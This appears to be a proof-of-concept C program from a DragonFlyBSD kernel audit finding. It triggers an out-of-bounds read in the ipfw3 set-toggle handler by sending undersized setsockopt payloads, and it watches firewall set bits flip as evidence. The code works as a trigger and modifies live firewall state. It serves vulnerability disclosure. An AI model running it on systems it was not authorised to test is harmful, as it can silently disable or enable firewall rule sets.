⬢ DragonFlyBSD Kernel Audit
DF-2593 / fw3_set_oob.c
← back to finding ↓ download raw
/* DF-2593 -- ipfw3 set handlers read past sopt_valsize.
 * ip_fw3_ctl_set_toggle (ip_fw3_set.c:~237) does `num = (int*)sopt->sopt_val;
 * if (*num > 0 && *num < 32)` with NO sopt_valsize check.  Staged sopt_val
 * (kmalloc(valsize) in kern_setsockopt, uipc_syscalls.c:1257) after
 * ip_fw3_ctl_x is [payload_byte][stale x_header bytes...].  With a 1-byte
 * payload the int read consumes 3 bytes beyond sopt_valsize; the stale
 * header residue decides whether the toggle fires.
 *
 * Observable: IP_FW_SET_GET returns ctx->sets; toggle set 5 XORs bit 5.
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

/* from ip_fw3.h */
struct ipfw_x_header { uint16_t opcode; uint16_t _pad; };
/* IP_FW_X == 49 per netinet/in.h */
#ifndef IP_FW_X
#define IP_FW_X 49
#endif
#define IP_FW_SET_GET     95
#define IP_FW_SET_TOGGLE  99

static int
fw3_setopt(int opcode, void *data, size_t len, uint16_t pad)
{
	int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) { perror("socket"); exit(1); }
	unsigned char buf[64];
	struct ipfw_x_header *x = (struct ipfw_x_header *)buf;
	x->opcode = opcode;
	x->_pad = pad;
	memcpy(buf + 4, data, len);
	int rc = setsockopt(s, IPPROTO_IP, IP_FW_X, buf, 4 + len);
	if (rc < 0)
		fprintf(stderr, "setsockopt(op=%d pad=%#x len=%zu): %s\n",
		    opcode, pad, len, strerror(errno));
	close(s);
	return rc;
}

static uint32_t
fw3_get_sets(void)
{
	int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	unsigned char buf[64];
	struct ipfw_x_header *x = (struct ipfw_x_header *)buf;
	socklen_t len = sizeof(buf);
	uint32_t sets = 0xFFFFFFFF;
	x->opcode = IP_FW_SET_GET; x->_pad = 0;
	if (getsockopt(s, IPPROTO_IP, IP_FW_X, buf, &len) == 0)
		memcpy(&sets, buf, 4);
	else
		fprintf(stderr, "getsockopt SET_GET: %s\n", strerror(errno));
	close(s);
	return sets;
}

int
main(void)
{
	uint32_t s0, s1, s2;
	unsigned char one = 5;

	setvbuf(stdout, NULL, _IONBF, 0);
	s0 = fw3_get_sets();
	printf("baseline sets = %#x\n", s0);

	/* case A: 1-byte payload + zero pad residue -> *num = 5 -> toggles */
	if (fw3_setopt(IP_FW_SET_TOGGLE, &one, 1, 0x0000) < 0) return 1;
	s1 = fw3_get_sets();
	uint32_t sA = s1;
	printf("case A (payload=1B=5, stale bytes 00 00 00): sets=%#x "
	    "(delta %#x)\n", s1, s1 ^ s0);

	/* undo: toggle again */
	fw3_setopt(IP_FW_SET_TOGGLE, &one, 1, 0x0000);
	s1 = fw3_get_sets();

	/* case B: same 1-byte payload, stale residue 0x0101 -> *num huge */
	if (fw3_setopt(IP_FW_SET_TOGGLE, &one, 1, 0x0101) < 0) return 1;
	s2 = fw3_get_sets();
	printf("case B (payload=1B=5, stale bytes 01 01 00): sets=%#x "
	    "(delta %#x)\n", s2, s2 ^ s1);

	if ((sA ^ s0) == 0x20 && (s2 ^ s1) == 0)
		printf("DF2593: OOB READ CONFIRMED -- bytes past sopt_valsize "
		    "decided the toggle\n");
	else if ((s1 ^ s0) == 0 && (s2 ^ s1) == 0)
		printf("DF2593: no behavioral divergence (no OOB effect seen)\n");
	else
		printf("DF2593: partial divergence: A=%#x B=%#x\n",
		    s1 ^ s0, s2 ^ s1);

	/* control: proper 4-byte setsockopt behaves identically regardless of pad */
	{
		unsigned char four[4] = {5, 0, 0, 0};
		uint32_t c0 = fw3_get_sets();
		fw3_setopt(IP_FW_SET_TOGGLE, four, 4, 0xFFFF);
		uint32_t c1 = fw3_get_sets();
		fw3_setopt(IP_FW_SET_TOGGLE, four, 4, 0x0000);
		printf("control (4-byte payload, junk pad): delta=%#x "
		    "(pad ignored as it should be)\n", c1 ^ c0);
	}
	return 0;
}